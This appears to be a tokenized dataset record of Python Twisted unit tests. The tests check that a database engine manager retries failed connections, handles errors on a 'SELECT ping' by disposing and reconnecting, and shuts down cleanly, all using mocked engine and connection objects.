")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "If", " ", "an", " ", "error", " ", "occur", "s", " ", "on", " ", "connect", ",", " ", "anot", "her", " ", "atte", "mpt", " ", "shou", "ld", " ", "be", " ", "made", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "=_", "self_", "._", "make", "\\u", "eng", "ine", "\\u", "manager_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "engine_", "=_", "mocked", "\\u", "engine_", "=_", "self_", "._", "mocker_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mocked", "\\u", "connection_", "=_", "self_", "._", "mocker_", "._", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fake", "\\u", "error_", "=_", "Fake", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mocked", "\\u", "engine_", "._", "connect_", "._", "side", "\\u", "effect_", "=_", "util_", "._", "get", "\\u", "callable\\u", "with", "\\u", "different", "\\u", "side", "\\u", "effects_", "(_", "[_", "fake", "\\u", "error_", ",_", "mocked", "\\u", "connection_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "start", "Service_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "yield_", "self_", "._", "events_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "event_", "[_", "0_", "]_", ",_", "'", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "event_", "[_", "1_", "]_", "._", "value_", "is_", "fake", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "=_", "yield_", "self_", "._", "events_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "event_", ",_", "(_", "'", "connect", "ed", "'_", ",_", "mocked", "\\u", "engine_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "util_", "._", "wait_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "stop", "Service_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "util_", "._", "wait_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "self_", "._", "events_", "._", "size_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "self_", "._", "mocker_", "._", "mock", "\\u", "calls_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "connect_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "dispose", "_", "(_", ")_", ",_", "#", " ", "The", " ", "first", " ", "connect", " ", "fail", "s", ",", " ", "so", " ", "the", " ", "eng", "ine", " ", "is", " ", "dispose", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "connect_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "(_", ")_", "._", "execute_", "(_", "\"", "SELECT", " ", "'", "ping", "'\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "(_", ")_", "._", "close_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "dispose", "_", "(_", ")_", "#", " ", "and", " ", "dispose", "d", " ", "whe", "n", " ", "the", " ", "service", " ", "stop", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine", "Provider", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "defer_", "._", "inline", "Callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "handling", "\\u", "ping", "\\u", "error", "\\u", "then", "\\u", "reconnect", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eng", "ine", "\\u", "manager_", "=_", "self_", "._", "make", "\\u", "eng", "ine", "\\u", "manager_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "engine_", "=_", "mocked", "\\u", "engine_", "=_", "self_", "._", "mocker_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mocked", "\\u", "connection_", "=_", "self_", "._", "mocker_", "._", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fake", "\\u", "error_", "=_", "Fake", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mocked", "\\u", "engine_", "._", "connect_", "._", "side", "\\u", "effect_", "=_", "lambda_", ":_", "mocked", "\\u", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mocked", "\\u", "connection_", "._", "execute_", "._", "side", "\\u", "effect_", "=_", "util_", "._", "get", "\\u", "callable\\u", "with", "\\u", "different", "\\u", "side", "\\u", "effects_", "(_", "[_", "None_", ",_", "fake", "\\u", "error_", ",_", "lambda_", "*_", "a_", ",_", "**_", "kw_", ":_", "reactor_", "._", "call", "Fro", "m", "Thread_", "(_", "reactor_", "._", "call", "Later_", ",_", "0_", ",_", "eng", "ine", "\\u", "manager_", "._", "stop", "Service_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eng", "ine", "\\u", "manager_", "._", "start", "Service_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "(_", "yield_", "self_", "._", "events_", "._", "get_", "(_", ")_", ")_", ",_", "(_", "'", "connect", "ed", "'_", ",_", "mocked", "\\u", "engine_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "=_", "yield_", "self_", "._", "events_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "event_", "[_", "0_", "]_", ",_", "'", "lost", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "event_", "[_", "1_", "]_", "._", "value_", "is_", "fake", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "(_", "yield_", "self_", "._", "events_", "._", "get_", "(_", ")_", ")_", ",_", "(_", "'", "connect", "ed", "'_", ",_", "mocked", "\\u", "engine_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "self_", "._", "events_", "._", "size_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "util_", "._", "wait_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "self_", "._", "mocker_", "._", "mock", "\\u", "calls_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fi", "rst", " ", "ping", " ", "succeeds", "._", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "connect_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "._", "execute_", "(_", "\"", "SELECT", " ", "'", "ping", "'\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "._", "close_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "one", " ", "fail", "s", ".", " ", "The", " ", "eng", "ine", " ", "is", " ", "dispose", "d", " ", "as", " ", "a", " ", "result", "._", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "connect_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "._", "execute_", "(_", "\"", "SELECT", " ", "'", "ping", "'\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "._", "close_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "dispose", "_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Af", "ter", " ", "this", " ", "ping", " ", "we", " ", "stop", " ", "the", " ", "service", "._", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "connect_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "._", "execute_", "(_", "\"", "SELECT", " ", "'", "ping", "'\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "connection_", "._", "close_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mock_", "._", "call_", "._", "engine_", "._", "dispose", "_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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